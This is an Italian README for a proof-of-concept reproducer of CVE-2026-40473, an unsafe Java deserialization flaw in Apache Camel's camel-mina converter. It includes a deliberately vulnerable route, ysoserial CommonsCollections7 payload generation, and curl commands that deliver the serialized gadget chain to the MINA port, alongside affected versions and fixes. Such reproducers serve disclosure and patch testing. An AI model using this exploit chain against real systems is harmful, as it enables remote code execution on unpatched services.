
Reproducer per CVE-2026-40473: deserializzazione non sicura di Apache Camel camel-mina MinaConverter.toObjectInput (RCE su TCP/UDP)
Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-mina di Apache Camel, tracciata come CVE-2026-40473. Il type converter MinaConverter.toObjectInput(IoBuffer) avvolge i byte ricevuti in un ObjectInputStream grezzo senza alcun ObjectInputFilter, quindi una route che converte un body TCP/UDP in ObjectInput e chiama readObject() può essere portata a esecuzione remota di codice da un attaccante che invia un oggetto serializzato appositamente costruito alla porta MINA.
Avviso: https://camel.apache.org/security/CVE-2026-40473.html
Il type converter IoBuffer → ObjectInput avvolge il buffer in un ObjectInputStream grezzo:
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // NO ObjectInputFilter
}
Quando un consumer TCP/UDP camel-mina consegna i byte grezzi (ad es. con allowDefaultCodec=false) e la route richiede un ObjectInput (getBody(ObjectInput.class), @Body ObjectInput o convertBodyTo(ObjectInput.class)), questo converter viene eseguito. La chiamata a readObject() sullo stream restituito esegue quindi qualsiasi gadget chain contenuta nei byte forniti dall'attaccante.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // deserialization sink
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"
(La porta MINA 5555 è interna al container in questo PoC; l'helper /exploit/inject esegue l'invio TCP grezzo dall'interno. Esporre la porta 5555 per inviare dall'host con un client grezzo come nc.)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
Qualsiasi consumer TCP o UDP camel-mina la cui route converte il body in ObjectInput (direttamente, tramite @Body ObjectInput o convertBodyTo(ObjectInput.class)) è sfruttabile da chiunque possa raggiungere la porta MINA.
ObjectInput dei byte ricevuti.commons-collections:3.2.1).Aggiornare a 4.14.6 / 4.18.2 / 4.20.0. Il fix applica un ObjectInputFilter / una allow-list di classi al converter (coerente con l'hardening applicato a camel-netty, camel-jms e camel-infinispan).
Fino all'aggiornamento:
ObjectInput / non deserializzarli.CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: sends serialized bytes over TCP to mina:5555
└── resources/
└── application.properties
Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo su sistemi senza autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componente | camel-mina |
| Classe interessata | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502: Deserializzazione di dati non attendibili |
| Impatto | Esecuzione remota di codice (RCE) su TCP/UDP |
| Versioni interessate | Dalla 3.0.0 fino alla 4.14.6 esclusa, dalla 4.15.0 fino alla 4.18.2 esclusa, dalla 4.19.0 fino alla 4.20.0 esclusa |
| Versioni corrette | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23319 |
| Segnalatore | Venkatraman Kumar (Securin) |